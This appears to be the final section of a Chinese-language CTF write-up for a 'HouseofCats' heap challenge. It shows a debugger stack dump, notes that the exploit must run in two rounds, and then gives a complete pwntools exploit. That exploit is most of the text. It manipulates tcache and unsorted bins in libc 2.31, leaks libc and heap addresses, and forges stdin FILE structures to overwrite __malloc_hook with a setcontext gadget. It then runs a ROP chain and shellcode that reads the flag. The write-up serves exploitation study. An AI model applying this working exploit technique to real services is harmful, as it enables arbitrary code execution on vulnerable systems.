00:0000│ rsp 0x7ffd6c13d918 —▸ 0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
01:0008│     0x7ffd6c13d920 ◂— 0xa /* '\n' */
02:0010│     0x7ffd6c13d928 —▸ 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
03:0018│     0x7ffd6c13d930 —▸ 0x7f32451cf4a0 (_IO_file_jumps) ◂— 0x0
04:0020│     0x7ffd6c13d938 ◂— 0xffffffff
05:0028│     0x7ffd6c13d940 —▸ 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
06:0030│     0x7ffd6c13d948 —▸ 0x7f32451cd9bb (_IO_2_1_stdin_+59) ◂— 0xe8
07:0038│     0x7ffd6c13d950 —▸ 0x7ffd6c13e090 —▸ 0x7ffd6c13e190 —▸ 0x7ffd6c13e1b0 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────
 ► 0   0x7f324503a0dd setcontext+61
   1   0x7f324501691f _nl_remove_locale+79
   2   0x7f3245008b72 init_cacheinfo+242
   3   0x7f3245009529 strip+217
   4   0x7f32451446d6 do_dlopen+70
   5              0xa
   6   0x7f3245048229 funlockfile+73
   7   0x7f32451cdac8 _IO_wide_data_0+104
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

10. 需要打两轮

最后需要注意的是,题目容器内run.sh要求打两轮才有flag:

  • Round 0:shellcode open(“/home/HouseofCats/writable/check”, O_RDWR|O_CREAT, 0777) + write(fd, “asimplechk”, 10) → run.sh 检查通过后把 flag 拷进 chroot 并重启二进制
  • Round 1:同一 socket 上对新进程完整重打一遍,shellcode open(“/home/HouseofCats/flag”)+read+write(1,…) → flag

11. 完整EXP

import sys
from pwn import *
# amd64 struct _IO_FILE + vtable
OFF = {
    'flags':        (0x00, 4),
    'read_ptr':     (0x08, 8),
    'read_end':     (0x10, 8),
    'read_base':    (0x18, 8),
    'write_base':   (0x20, 8),
    'write_ptr':    (0x28, 8),
    'write_end':    (0x30, 8),
    'buf_base':     (0x38, 8),
    'buf_end':      (0x40, 8),
    'save_base':    (0x48, 8),
    'backup_base':  (0x50, 8),
    'save_end':     (0x58, 8),
    'markers':      (0x60, 8),
    'chain':        (0x68, 8),
    'fileno':       (0x70, 4),
    'flags2':       (0x74, 4),
    'old_offset':   (0x78, 8),
    'cur_column':   (0x80, 2),
    'vtable_offset':(0x82, 1),
    'shortbuf':     (0x83, 1),
    'lock':         (0x88, 8),
    'offset':       (0x90, 8),
    'codecvt':      (0x98, 8),
    'wide_data':    (0xa0, 8),
    'freeres_list': (0xa8, 8),
    'freeres_buf':  (0xb0, 8),
    'pad5':         (0xb8, 8),
    'mode':         (0xc0, 4),
    'unused2':      (0xc4, 20),
    'vtable':       (0xd8, 8),
}

class IO_FILE_plus:
    def __init__(self, arch=64):
        assert arch == 64
        self.size = 0xe0
    def construct(self, **kwargs):
        buf = bytearray(self.size)
        for k, v in kwargs.items():
            off, sz = OFF[k]
            if sz == 8:
                buf[off:off+8] = p64(v)
            elif sz == 4:
                buf[off:off+4] = p32(v)
            elif sz == 2:
                buf[off:off+2] = p16(v)
            elif sz == 1:
                buf[off:off+1] = p8(v)
        return bytes(buf)


context.arch = 'amd64'

###Util
def create(size,data):
    r.sendlineafter('choice : ','1')
    r.sendlineafter('length : ',hex(size-4)[2:])
    r.sendafter('name : ',data)

def show(idx):
    r.sendlineafter('choice : ','2')
    r.sendlineafter('index : ',hex(idx)[2:])
    size = int(r.recvline()[:-1].split(b'ID : ')[1])
    facilities = r.recvline()[:-1].split(b'Name : ')[1]
    return size,facilities

def delete(idx):
    r.sendlineafter('choice : ','3')
    r.sendlineafter('index : ',hex(idx)[2:])

def scanf_consolidate():
    r.sendlineafter('choice : ','0'*0x400)

###Addr
#  libc2.31(Ubuntu) (20200925)
malloc_hook_offset = 0x1ebb70
mp_offset = 0x1eb280
tcachebins_offset = mp_offset+0x50
tcachecount_offset = mp_offset+0x60
main_arena_offset = 0x1ebb80
unsorted_bin_offset = main_arena_offset+0x60
small_bin_offset = main_arena_offset+0x70
large_bin_offset = main_arena_offset+0x450
stdin_struct_offset = 0x1eb980
stdin_bufbase_offset = stdin_struct_offset+0x38
stdin_shortbuf_offset = stdin_struct_offset+0x83
IO_str_jumps_offset = 0x1ed560
#memalign_hook_ini_offset = 0x9d550
#realloc_hook_ini_offset = 0x9dbd0
tls_offset = 0x1f35c0
libc_tsd_locale_offset = tls_offset-0x90
loc_offset = 0x1ec4a0
ctype_tolower_offset = 0x19e4c0

###ROPgadget
L_nop = 0x3491f
L_pop_rdi = 0x26b72
L_pop_rsi = 0x27529
L_pop_rdx_rbx = 0x1626d6
L_pop_rax = 0x4a550
L_syscall = 0x66229
set_context_gadget = 0x580dd

###Exploit
#r = process('./H',env={'LD_PRELOAD':'./libc-2.31.so'})
r = remote('127.0.0.1',10104)
r.timeout=10

for rounds in range(2):

    TCACHE_COUNT = 7

    for i in range(3):  #Padding to nudge tcache entry for 0x810
        create(0x18,'M30W') #0
        delete(0)

    for i in range(TCACHE_COUNT):
        create(0x28,'M30W') #0
        delete(0)
    create(0x28,'M30W')     #0
    create(0x28,'M30W')     #1
    delete(1)
    delete(0)
    create(0x38,'M30W')     #0
    for i in range(TCACHE_COUNT):
        create(0x38,'M30W') #1
        delete(1)
    delete(0)
    create(0x28,'M30W')     #0
    create(0x28,'M30W')     #1'
    delete(0)
    delete(1)
    create(0x28,'M30W')     #0
    delete(1)
    leaks = show(0)
    heap_addr = leaks[0]+(u32(leaks[1].ljust(4,b'\x00'))<<32)-0x440
    print(hex(heap_addr))

    create(0x28,'M30W')     #1
    delete(0)

    scanf_consolidate()
    leaks = show(1)
    unsorted_bin_addr = leaks[0]+(u32(leaks[1].ljust(4,b'\x00'))<<32)
    libc_base = unsorted_bin_addr-unsorted_bin_offset
    print(hex(libc_base))

    create(0x18,'M30W') #0
    delete(0)
    for i in range(TCACHE_COUNT-4-1):
        create(0x38,p32(0)+p64(0x21))   #0
        delete(1)
        delete(0)
    for i in range(TCACHE_COUNT+1):
        create(0x38,p32(0)+p64(0xf1)) #0
        delete(1)
        delete(0)
    create(0x38,p32(0)+p64(0x21)+p64(heap_addr+0x4a0)+p64(libc_base+unsorted_bin_offset)+p64(0x20)+p64(0x20)) #0
    scanf_consolidate()
    delete(0)
    create(0x38,p32(0)+p64(0x31)) #0
    delete(1)
    delete(0)
    create(0x38,'M30W') #0
    create(0x38,p32(0)+p64(0)+p64(0)+p64(0x21)+p64(heap_addr+0x470)+p64(libc_base+tcachecount_offset-0x5-0x10)) #1
    delete(0)
    create(0x38,p32(0)+p64(0x21)+p64(0)+p64(heap_addr+0x4c0)+p64(0)+p64(0x31))   #0
    delete(1)

    create(0x18,'M30W')   #1

    TCACHE_COUNT = libc_base>>40

    delete(1)
    for i in range(TCACHE_COUNT-7-2):
        create(0x38,'M30W')
        delete(1)
    create(0x38,p32(0)+p64(0)+p64(libc_base+loc_offset+0x58)+p64(0)+b'\x00\x10'*0x2+b'\x00\x20'+b'\x00\x10'*0x9)
    delete(1)
    create(0x38,p32(0)+p64(0)+b'\x00\x10'*0x14)
    delete(1)

    delete(0)
    create(0x38,p32(0)+p64(0x31)+p64(heap_addr+0x480)+p64(0)+p64(libc_base+main_arena_offset)+p64(heap_addr+0x480)) #0
    create(0x28,'M30W') #1
    delete(0)

    for i in range(TCACHE_COUNT+1):
        create(0x38,p32(0)+p64(0x131))   #0
        delete(1)
        delete(0)
    for i in range(TCACHE_COUNT-8-2):
        create(0x38,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21))   #0
        delete(1)
        delete(0)
    for i in range(TCACHE_COUNT-0xa-2):
        create(0x38,p32(0)+p64(0x31))   #0
        delete(1)
        delete(0)
    for i in range(TCACHE_COUNT):
        create(0x38,p32(0)+p64(0x51))   #0
        delete(1)
        delete(0)
    create(0x38,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x21)+p64(heap_addr+0x23f0)) #0
    create(0x18,p32(0)+p64(0x41))   #1
    delete(0)
    create(0x37,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x51))   #0
    delete(1)
    delete(0)
    create(0x37,p32(0)+p64(0x131)+p64(libc_base+unsorted_bin_offset)+p64(libc_base+unsorted_bin_offset))    #0
    create(0x27,p32(0)+p64(0)+p64(0)+p64(0x51)) #1
    delete(0)
    create(0x37,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x51))    #0
    delete(1)
    delete(0)
    create(0x37,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x51))    #0
    scanf_consolidate()
    create(0x37,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x80)) #1

    delete(0)
    for i in range(TCACHE_COUNT+1):
        create(0x37,p32(0)+p64(0x171))
        delete(1)
        delete(0)
    create(0x37,p32(0)+p64(0x31)+p64(heap_addr+0x4b0)+p64(libc_base+unsorted_bin_offset)+p64(0)+p64(0)+p64(0x30)[:-1])   #0
    scanf_consolidate()
    delete(0)
    create(0x37,p32(0)+p64(0x31)+p64(heap_addr+0x4b0)+p64(heap_addr+0x480)+p64(0)+p64(libc_base+tcachebins_offset-0x10))	#0
    create(0x27,'M30W') #1
    scanf_consolidate()
    delete(0)
    create(0x37,p32(0)+p64(0)+p64(0)+p64(libc_base+stdin_bufbase_offset+1-0x400))	#0

    padding1 = b'0'*(0x400-0x39)
    fakeflags = b'\x8b\x30'
    padding2 = b'0'*0x36
    hijack_bufbase=b'0'+p8(((libc_base+stdin_struct_offset)>>8)&0xff)

    if rounds==0:
        argument = b'asimplechk\x00/home/HouseofCats/writable/check\x00'.ljust(0x50,b'\x00')
    else:
        argument = b'/home/HouseofCats/flag\x00'.ljust(0x50,b'\x00')

    IO_file = IO_FILE_plus(arch=64)
    stream1 = IO_file.construct(flags = 0xfbad2082,
                                read_ptr = libc_base+stdin_shortbuf_offset, read_end = libc_base+stdin_shortbuf_offset+0x1-0xd4,
                                buf_base = libc_base+stdin_struct_offset+0x10, buf_end = libc_base+malloc_hook_offset+0x8,
                                fileno = 0,
                                shortbuf = ((libc_base+stdin_struct_offset)&0xff0000)>>16)

    stream2 = IO_file.construct(read_end = 0,
                                write_base = 0, write_ptr = libc_base+malloc_hook_offset-0x110-0xa0,
                                buf_end = 0xe8000000, buf_base = 0x0,
                                fileno = 0,
                                lock = libc_base+stdin_struct_offset-0x20,
                                mode = 0xffffffff,
                                vtable = libc_base+IO_str_jumps_offset-0x10)

    hijacked_malloc_hook = p64(libc_base+set_context_gadget)
    stub = p64(libc_base+malloc_hook_offset-0x110+0x10)+p64(libc_base+L_nop)
    ROPchain = p64(libc_base+L_pop_rdi)+p64((libc_base+stdin_struct_offset)&0xfffffffffffff000)+\
               p64(libc_base+L_pop_rsi)+p64(0x2000)+\
               p64(libc_base+L_pop_rdx_rbx)+p64(7)+p64(0)+\
               p64(libc_base+L_pop_rax)+p64(10)+\
               p64(libc_base+L_syscall)+\
               p64(libc_base+malloc_hook_offset-0x110+0x68)

    if rounds==0:
        shellcode = asm(f'''
                         mov rdi, {libc_base+stdin_struct_offset-0x50+11}
                         mov rsi, 0102
                         mov rdx, 0777
                         mov rax, 2
                         syscall
                         mov rdi, rax
                         mov rsi, {libc_base+stdin_struct_offset-0x50}
                         mov rdx, 10
                         mov rax, 1
                         syscall
                         mov rdi, 0
                         mov rax, 0x3c
                         syscall
                         ''')
    else:
        shellcode = asm(f'''
                         mov rdi, {libc_base+stdin_struct_offset-0x50}
                         mov rsi, 0
                         mov rdx, 0
                         mov rax, 2
                         syscall
                         mov rdi, rax
                         mov rsi, {libc_base+stdin_struct_offset-0x50}
                         mov rdx, 0x100
                         mov rax, 0
                         syscall
                         mov rdi, 1
                         mov rsi, {libc_base+stdin_struct_offset-0x50}
                         mov rdx, 0x100
                         mov rax, 1
                         syscall
                         mov rdi, 0
                         mov rax, 0x3c
                         syscall
                         ''')

    payload = padding1+fakeflags+padding2+hijack_bufbase+argument+stream1[:0x84]+stream2[0x10:]+(stub+ROPchain+shellcode).ljust(0x110,b'\x00')+hijacked_malloc_hook
    r.sendafter('choice : ',payload)

r.interactive()